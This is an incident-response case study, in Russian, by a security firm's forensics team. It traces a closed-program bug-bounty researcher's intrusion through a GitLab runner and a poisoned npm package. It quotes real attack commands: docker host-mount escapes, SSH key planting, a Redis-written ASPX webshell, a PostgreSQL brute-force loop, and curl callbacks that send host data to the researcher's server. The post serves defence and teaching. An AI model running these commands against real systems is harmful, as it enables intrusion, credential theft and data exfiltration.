Всем привет от команды DFIR JetCSIRT! Хотим поделиться с вами одним интересным кейсом, эмоции от которого прекрасно описывает эта картинка:

Но обо всем по порядку…
Итак. Заказчик заводит запрос на расследование, в котором говорит, что учетная запись разработчика пушит непонятные коммиты в GitLab. По почте они установили, что пользователь выпустил себе несколько access-токенов, при этом новых входов в веб GitLab в этот период зафиксировано не было. Подозревают, что скомпрометирован личный комп пользователя, с которого он работает с GitLab. Важное дополнение: в коммитах они видят заголовок X-BugBounty, но, со слов Заказчика, они не участвуют в программе багбаунти, поэтому уверены, что так маскируется злоумышленник. Заблокировали учетку разработчика и начали собирать триаж с его АРМ на анализ.
Пока собирались данные, мы успели посмотреть, что зафиксировал наш мониторинг:
скан с узла runner;
ssh-брут с узла runner;
эксплуатации уязвимостей с узла runner;
impacket с узла runner…
Стоит отметить, что GitLab находится вне инфраструктуры Заказчика, поэтому, похоже, злоумышленник запускает вредоносные пейлоады через runner, который расположен уже внутри, тем самым пытается распространиться и повыситься. Мы бьем тревогу, изолируем узел runner и запрашиваем на анализ все необходимые данные с GitLab и затронутых систем.
Что же делает злоумышленник?
В день инцидента в 00:11 он перебирает проекты через gitlab-shell, авторизовавшись с ssh-ключом под УЗ того самого разработчика. Откуда взялся ssh-ключ, спросите вы? Предлагаем пока отложить этот вопрос и вернуться к нему чуть позже.
В 00:24 он уже выпускает себе токен, и начинается самое интересное. В логах jobs видим примерно следующий стиль:
Дисклеймер
Здесь и далее мы скрываем любые данные, которые атрибутируют злоумышленника или Заказчика:
IP-адрес злоумышленника – 100.100.100.100
Домен злоумышленника – domain.su
Никнейм злоумышленника – Bughunter
УЗ разработчика Заказчика – Вася Пупкин (pupkin)
===== JOB 3150646 TRACE START ===== project=[masked]/etz/etz.front name=security-test status=success ref=security-test-Bughunter pipeline=805678 runner=743 Running with gitlab-runner 17.10.0 (67b2b2db) Pulling docker image docker:20.10-dind ... Executing "step_script" stage of the job script $ echo "X-BugBounty Bughunter - Security Test" X-BugBounty Bughunter - Security Test $ whoami root $ id uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
То есть злоумышленник вносит коммиты в .gitlab-ci.yml, запускает пайплайн, в рамках которого создается job security-test, runner запускает контейнер и в нем выполняет команды из script.
Злоумышленник по базе проводит разведку окружения. Что самое интересное, перед каждой командой он выводит пояснение с помощью echo.
$ echo "X-BugBounty Bughunter - escalation recon" $ echo "=== HOST FILESYSTEM ===" $ docker run --rm -v /:/host alpine sh -c "cat /host/etc/hostname 2>/dev/null; echo ---; cat /host/etc/hosts 2>/dev/null | head -30; echo ---; ls -la /host/home/ 2>/dev/null; echo ---; ls -la /host/root/.ssh/ 2>/dev/null; cat /host/root/.ssh/known_hosts 2>/dev/null | head -20"[0;m $ echo "=== GITLAB RUNNER CONFIG ===" $ docker run --rm -v /:/host alpine sh -c "find /host -maxdepth 5 -name config.toml -path '*gitlab*' 2>/dev/null -exec head -80 {} \;"[0;m concurrent = 10 $ echo "=== HOST NETWORK INTERFACES ===" $ docker run --rm --net=host alpine ip addr show $ echo "=== USER SSH KEYS ===" $ docker run --rm -v /:/host alpine sh -c "for d in /host/home/*/; do u=\$(basename \$d); echo --- \$u ---; ls -la \$d/.ssh/ 2>/dev/null; cat \$d/.ssh/id_rsa.pub 2>/dev/null; cat \$d/.ssh/authorized_keys 2>/dev/null | head -5; done"
Вам ничего не напоминает «===»? Да-да, так обычно оставляют комменты ChatGPT и аналогичные ИИ-сервисы.
Здесь он закрепляется на узле runner со своим ssh-ключом:
$ echo "=== STEP 1 - SSH KEY ON RUNNER HOST ===" $ docker run --rm -v /:/host alpine sh -c "echo 'ssh-ed25519 [masked] bb-bughunter-test' >> /host/root/.ssh/authorized_keys; cat /host/root/.ssh/authorized_keys"
После разведки окружения он сканит подсеть с помощью nmap. Потом по найденным открытым портам начинает обращаться к различным сервисам. Например, подключается к Redis-серверу без аутентификации, выполняет команды разведки, получает список ключей и содержимое записей:
$ docker run --rm --net=host alpine sh -c ' # collapsed multi-line command === REDIS [masked] (NO AUTH) === # Server [masked] # Keyspace [masked] $ echo "X-BugBounty Bughunter - Redis data extraction" $ docker run --rm --net=host alpine sh -c ' # collapsed multi-line command === REDIS db0 HGETALL sample === [masked] === REDIS db0 SECOND KEY === [masked] === REDIS db7 HGETALL sample === [masked]
Демонстрирует, что можно изменить конфиг:
$ docker run --rm --net=host alpine sh -c ' # collapsed multi-line command === REDIS CONFIG SET PROOF === --- Current dir --- dir C:\Program Files\Redis --- Set dir to IIS webroot --- OK --- Verify --- dir C:\inetpub\wwwroot --- Set dbfilename --- OK --- Verify --- dbfilename test-bughunter.txt --- Restore original --- OK
Заметили пункт «Restore original»? Думаю, что с этого момента мы все-таки перестанем называть его злоумышленником. Повсюду расставленные теги X-BugBounty, коммиты от ChatGPT, паттерны «нелегитимной» активности по канонам багбаунти, откат к первоначальному состоянию… Поэтому дальше будем называть его багхантером-нелегалом.
Тут он показывает реализацию RCE на все том же Redis:
$ echo "=== STEP 2 - Write ASPX webshell payload ===" $ redis-cli -h 10.50.101.17 SET bughunter-rce "\r\n<%@ Page Language=\"C#\" %><%Response.Write(\"BUGHUNTER-BB-POC|\"+System.Environment.MachineName+\"|\"+System.Environment.UserName+\"|\"+System.Environment.UserDomainName+\"|\"+System.Environment.OSVersion.ToString());%>\r\n" $ redis-cli -h 10.50.101.17 BGSAVE Background saving started $ echo "=== STEP 3 - Trigger webshell ===" $ curl -sv -m 10 "http://10.50.101.17/bughunter-bb.aspx" 2>&1 || true * Trying 10.50.101.17:80... * Connected to 10.50.101.17 (10.50.101.17) port 80 * using HTTP/1.x > GET /bughunter-bb.aspx HTTP/1.1 > Host: 10.50.101.17 > User-Agent: curl/8.12.1 > Accept: */* $ echo "=== STEP 4 - Cleanup ===" $ redis-cli -h 10.50.101.17 DEL bughunter-rce
Пытается сбрутить учетки PostgreSQL стандартными паролями:
$ echo "=== PG brute with found passwords ===" $ export HOSTS="..." $ export USERS="..." $ export PASSWORDS="qwerty ciqwerty qwerty123! custom_pass test postgres password P@ssw0rd" $ for h in $HOSTS; do for u in $USERS; do for p in $PASSWORDS; do RESULT=$(PGPASSWORD=$p psql -h $h -U $u -p 5432 -c "SELECT current_database(),current_user,version();" 2>&1 | head -3); if echo "$RESULT" | grep -q "row"; then echo "SUCCESS $h $u/$p"; echo "$RESULT"; fi; done; done; done
Также багхантер подключается к Elasticsearch без аутентификации:
=== Try Elasticsearch without auth === $ curl -sk -m 5 http://10.50.101.3:9200/ || true $ curl -sk -m 5 http://10.50.101.2:9200/ || true $ curl -sk -m 5 http://10.50.101.4:9200/ || true
Создает индекс Elasticsearch и записывает туда данные для теста. Все эти действия он выполняет через python-скрипты, завернутые в Base64:
$ docker run --rm --net=host python:3.11-alpine sh -c "echo aW1wb3J0IHVybGxpYi5yZXF1ZXN0LCBqc29uLCBzc2wKY3R4ID0gc3NsLmNyZWF0ZV9kZWZhdWx0X2NvbnRleH[masked] === CREATE TEST INDEX === CREATE: {"acknowledged":true,"shards_acknowledged":true,"index":"bb-bughunter-test-index"} === WRITE TEST DOC === WRITE: {"_index":"bb-bughunter-test-index","_id":"1","_version":1,"result":"created","_shards":{"total":1,"successful":1,"failed":0},"_seq_no":0,"_primary_term":1} === READ BACK === READ: {"_index":"bb-bughunter-test-index","_id":"1","_version":1,"_seq_no":0,"_primary_term":1,"found":true,"_source":{"message": "X-BugBounty: Bughunter - proof of write access", "timestamp": "2026-05-21"}} === DELETE TEST INDEX === DELETE: {"acknowledged":true}
Еще он пробует вытащить персональные данные (email, телефоны, паспорта, адреса, зарплаты и прочее) из индексов Elasticsearch:
=== PASSPORT/SNILS/ADDRESS: 10000 hits === [cmw_test-prod_system_event_adapter] {"id": "08de8a99-6bce-2e9a-9255-000000011303", "previous_event": "08de8a99-6bce-2e9a-9255-000000011302", "origin_event": "08de8a99-6bce-2e9a-0000-000000000000", "initiator": {"abbreviation": "[masked]", "type": "Account", "id": "account.3690", "name": "[masked]", "alias": "[masked]"}, "type": "AdapterRequestSent", "status": "Success", "solution": {"type": "Solution", "id": "system", "name": "system"}, "container": {"type": "Adapter", "id": "adapter", "name": "adapter"}, "adapter_data": {"plugin": {"type": "Adapter", "id": "adapter.2", "nam === ФАМИЛИЯ OR ФИО OR SURNAME: 10000 hits === [masked] === ДАТА РОЖДЕНИЯ OR BIRTHDAY OR BIRTHDATE: 10000 hits === [masked] === ЗАРПЛАТА OR SALARY OR ОКЛАД: 43 hits === [masked]
Багхантер попадает на хост из контейнера на одном из продуктовых серверов. Подключается к Docker API без аутентификации и создает новый контейнер с host mount, а также альтернативно повышается до уровня хоста с помощью chroot:
$ echo "X-BugBounty Bughunter - DOCKER RCE" $ docker run --rm --net=host python:3.11-alpine sh -c "echo aW1wb3J0IHVybGxpYi5yZXF1ZXN0LCBqc29uCgpBUEkgPSAiaHR0cDovLz[masked]| base64 -d > /tmp/s.py && python3 /tmp/s.py" === RUNNING CONTAINERS === 76314479fc85 ['/pushgateway'] prom/pushgateway running 5ca3556e205b ['/grafana-container'] grafana/grafana running 5c46d78fb40c ['/prometheus'] prom/prometheus running d04022e41e54 ['/portainer'] portainer/portainer running === EXEC IN /pushgateway (76314479fc85) === Exec ID: ba5bebe6b7b4a31ebff74cef6f899e91c335c2c181e7e3f5442def7b0866a02d OUTPUT: $uid=65534(nobody) gid=65534(nobody) === CREATE CONTAINER WITH HOST MOUNT === Created: eaf154407262 $ docker -H tcp://10.50.100.90:2375 run --rm --pid=host --privileged --net=host -v /:/host alpine chroot /host sh -c "hostname && id && whoami && cat /etc/os-release | head -3 && echo --- && uname -a && echo --- && ls /home/"
А потом он получает доступ к PostgreSQL (без аутентификации) на скомпрометированном продуктовом сервере:
$ docker -H tcp://10.50.100.90:2375 run --rm --privileged --net=host --pid=host -v /:/host alpine chroot /host sh -c "su postgres -c 'psql -c \"SELECT version();\"' && su postgres -c 'psql -c \"\\l\"' && su postgres -c 'psql -c \"SELECT datname, pg_size_pretty(pg_database_size(datname)) as size FROM pg_database ORDER BY pg_database_size(datname) DESC;\"'" $ docker -H tcp://10.50.100.90:2375 run --rm --privileged --net=host --pid=host -v /:/host alpine chroot /host su postgres -c "psql -d erp_profil -c \"SELECT column_name FROM information_schema.columns WHERE table_name='_reference219' AND table_schema='public' ORDER BY ordinal_position LIMIT 30;\"" $ echo "=== SEARCH FOR FIO/PHONE COLUMNS ===" $ docker -H tcp://10.50.100.90:2375 run --rm --privileged --net=host --pid=host -v /:/host alpine chroot /host su postgres -c "psql -d erp_profil -c \"SELECT table_name, column_name FROM information_schema.columns WHERE table_schema='public' AND (column_name ILIKE '%fio%' OR column_name ILIKE '%phone%' OR column_name ILIKE '%email%' OR column_name ILIKE '%name%' OR column_name ILIKE '%passport%' OR column_name ILIKE '%snils%' OR column_name ILIKE '%inn%' OR column_name ILIKE '%address%') LIMIT 30;\"" $ docker -H tcp://10.50.100.90:2375 run --rm --privileged --net=host --pid=host -v /:/host alpine chroot /host su postgres -c "psql -d grafana_db -c 'SELECT login, email, password, salt, is_admin FROM \"user\";'"
Еще в истории .psql_history находит пароль в открытом виде:
$ docker -H tcp://10.50.100.90:2375 run --rm -v /:/host alpine cat /host/root/.psql_history || true lisr list user ls \du alter user postgres with password '[masked]' exit /q /quit /exit
Также багхантер немного анализирует AD через impacket, ищет контроллеры домена, центры сертификации, возможность атак через SMB:
$ docker run --rm --net=host python:3.11-alpine sh -c "apk add -q --no-cache bind-tools 2>/dev/null && pip install -q impacket 2>/dev/null && echo aW1wb3J0IHNvY2tldCwgc3RydWN0LCBvcwoKREMgPSAiMTAuOT[masked]| base64 -d > /tmp/s.py && python3 /tmp/s.py" === ADCS DISCOVERY === === PRINTERBUG CHECK === 10.50.100.6:445 OPEN (SMB for SpoolSS) === SPOOLSS PIPE CHECK === 10.50.100.6 spoolss: access denied (needs creds) === SCAN FOR ADCS WEB ENROLLMENT === !!! ADCS WEB 10.50.100.34: 200
В целом там есть еще несколько интересных атак, демонстрирующих дыры безопасности (сколько раз вы встретили в тексте «без аутентификации»?). Но предлагаем остановиться на этом и перейти к волнующему всех вопросу.
Так откуда взялся ssh-ключ?
Как мы помним, багхантер начал свою активность с ssh-ключом Васи Пупкина (pupkin). Из интересного — он пытался распространиться на другие узлы с украденным ssh-ключом:
$ echo "=== COPY PUPKIN SSH KEY AND TRY INTERNAL HOSTS ==="
Так как закрытый ключ хранится на стороне клиента и не передается по сети (в случае здравомыслия пользователя), то наша рабочая гипотеза — утечка в результате работы стилера на АРМ Васи.
Мы проанализировали артефакты на его узле и не обнаружили следов работы стилера, как и других следов компрометации. Было много ИИ-агентов, которые вызывали подозрения, но ничего конкретного. Также мы подключили наш сервис киберразведки для поиска утекшего ssh-ключа. Ключ не обнаружили.
Начали закрадываться сомнения, что это стилер. Сомнения укрепились после того, как проанализировали логи с сервера gitlab. За неделю до инцидента багхантер осуществлял скан веба gitlab и ssh-брутфорс нескольких учеток на хосте (и pupkin не входил в их число). Как говорится: можно, а зачем? Если есть ключ, бери да заходи с ним. Следовательно, на тот момент ключа еще не было. И он смог найти его за неделю, а наша киберразведка — нет?

Так как найти утечку не удавалось, мы решили подойти чуть-чуть с другой стороны и найти багхантера…
Кто ты, воин?
При анализе коммитов мы видели, что багхантер делает отстук на свой С2-сервер:
curl -s -m 10 -X POST "http://100.100.100.100:1337/ci-callback"
В целом с этого же адреса осуществлялась вся его активность, в том числе ssh-подключения.
На этом адресе резолвится домен [masked].domain.su. При переходе на http://100.100.100.100:1337/ci-callback или http:// [masked].domain.su:1337/ci-callback возвращалась строка:
{"status": "ok", "ts": "timestamp UTC"}
А при классическом обращении на веб открывалась форма входа:

Почему важно, что домен однозначно идентифицируется с багхантером-нелегалом? Потому что адрес 100.100.100.100 принадлежит популярному веб-хостингу и на нем резолвится еще один домен VPN-сервиса. Нам надо было знать наверняка.
Теперь изучаем информацию о домене и находим почтовый адрес того, на кого он зарегистрирован:

Чудеса, мы получили личную почту регистранта.
А что если просто погуглить сочетание BugBounty и никнейм Bughunter? Тогда мы найдем профиль человека на площадке багбаунти по ссылке типа такой https://[masked].com/ru-RU/profile/*Bughunter*/.
PS О том, что это никнейм, мы узнали только после того, как нашли профиль пользователя. Слово, которое мы заменили на Bughunter, не похоже на ник и первоначально не находилось при аналогичном поисковом запросе.
Ну, а дальше уже все пошло как по маслу. В профиле площадки багбаунти у него есть ссылка на личный телеграм, в аккаунте закреплен его открытый канал, который он подробно ведет. Из него мы узнали фамилию и имя, а также то, что он активно занимается багбаунти. И что VPN-сервис тоже принадлежит ему.
Преступление и наказание?
Напомним, что за несанкционированный доступ в инфраструктуру и выполнение вредоносных действий предусмотрена уголовная ответственность, согласно нашему законодательству. Даже если это подается под соусом багбаунти — ведь Заказчик не выставлялся на него.
Поэтому мы передали всю найденную информацию Заказчику, чтобы он дальше сам вершил судьбу багхантера-нелегала. Нам сказали «Большое спасибо», а через полчаса вернулись с обратной связью…
Как все было на самом деле?
Оказалось, что Заказчик был выставлен на «закрытую» программу багбаунти на реализацию недопустимого события. И наш багхантер выступал исследователем по данным работам. Теперь вернитесь в начало статьи и посмотрите на суслика...
На самом деле мы, конечно же, не расстроились, потому что доблестный Центр мониторинга и реагирования на инциденты ИБ выполнял свой долг, и считаем, что справились с этим, хоть и не нашли причину утечки ssh-ключа. Но мы были очень близки…
Багхантер нашел опубликованный npm-реестр Заказчика, где была открыта регистрация. Он зарегистрировался в данном сервисе и заменил один из пакетов на свою версию, в которой был вредоносный скрипт postinstall. Через несколько дней разработчик работал в IDE WebStorm и подтянул обновленный пакет. Скрипт собрал информацию об окружении и содержимое каталога ~/.ssh, а затем осуществил эксфильтрацию на C2. Такой вот вышел своего рода supply chain.
А близки мы были, потому что при расследовании видели опубликованный npm-реестр, однако тот пакет не был виден на главной странице, найти его можно было только через поисковую строку. Да и вряд ли без каких-либо улик кто-то пойдет перепроверять содержимое всех пакетов на изменения. Тем более, что по артефактам ОС не было видно явных нелегитимных действий.
Теперь же, зная способ «проникновения», мы провели небольшое исследование — а где в принципе это можно было обнаружить на узле?
В логах npm-cache C:\Users\user\AppData\Local\npm-cache\_logs\timestamp-debug-0 фиксируются две строчки, относящиеся к скрипту:
info run @test-ui/[masked]@2.5.5 postinstall node_modules/@test-ui/[masked] sh postinstall.sh info run @ est-ui/[masked]@.5.5 postinstall { code: 0, signal: null }
И… это все. Какие команды выполняются внутри скрипта, нигде не видно. При этом сам скрипт не остается на узле как файловый артефакт. В данном случае мог бы помочь только Sysmon\EDR.
Пример детектирования команды эксфильтрации на С2 с помощью события создания процесса Sysmon 1:
"C:\Program Files\Git\mingw64\bin\curl.exe" -s -m 10 -X POST http://100.100.100.100:1337/npm-callback -H "Content-Type: application/json" -d "{\"whoami\":\"user\",\"id\":\"uid=1049690(user) gid=1049089 groups=1049089\",\"hostname\":\"WS01\",\"uname\":\"MINGW64_NT-10.0-19045 WS01 3.6.7-fb42d713.x86_64 Msys\",\"pwd\":\"/c/Users/user/Downloads/node_modules/@test-ui/[masked]\",\"ifconfig\":\"\",\"ssh_info\":\"no keys found\",\"ssh_keys\":\"none\",\"ci_env\":\"none\",\"k8s_sa\":\"none\",\"docker\":\"none\"}"
К сожалению, у нас на анализе был личный комп разработчика, на котором не был настроен даже классический аудит.
Подводим итоги
Всем аналитикам, которые столкнутся с аналогичным вектором кражи ssh-ключа и не найдут его в утечках, рекомендуем смотреть, какие пакеты устанавливались на узле разработчика. Обратите внимание на те немногие следы, которые остаются в логах менеджеров пакетов. И потратьте время на анализ последних измененных пакетов в реестре.
А что касается рекомендаций для всех владельцев похожих проблем в инфраструктуре:
не публикуйте в интернет критичные сервисы, необходимые в работе только внутренним пользователям;
в случае необходимости публикации сервисов в интернет используйте многофакторную аутентификацию;
обеспечьте постоянный контроль опубликованных сервисов и своевременно устраняйте излишние доступы (например, к формам регистрации);
не допускайте доступ без аутентификации к критичным ресурсам, даже если они находятся внутри сети;
разделите gitlab-runners в зависимости от команд и типов задач;
разместите gitlab-runners в выделенные подсети разработчиков, настройте жесткие ACL только до необходимых серверов;
используйте подписи коммитов для валидации вносимых изменений в gitlab;
настройте срок жизни ssh-ключей в администрировании gitlab;
используйте в работе только корпоративные устройства с настроенным аудитом и сбором телеметрии в системы мониторинга.
Авторы:
Валерия Шотт, ведущий аналитик группы киберкриминалистики «Инфосистемы Джет»
Даниил Кирьяков, ведущий аналитик группы исследования киберугроз «Инфосистемы Джет»
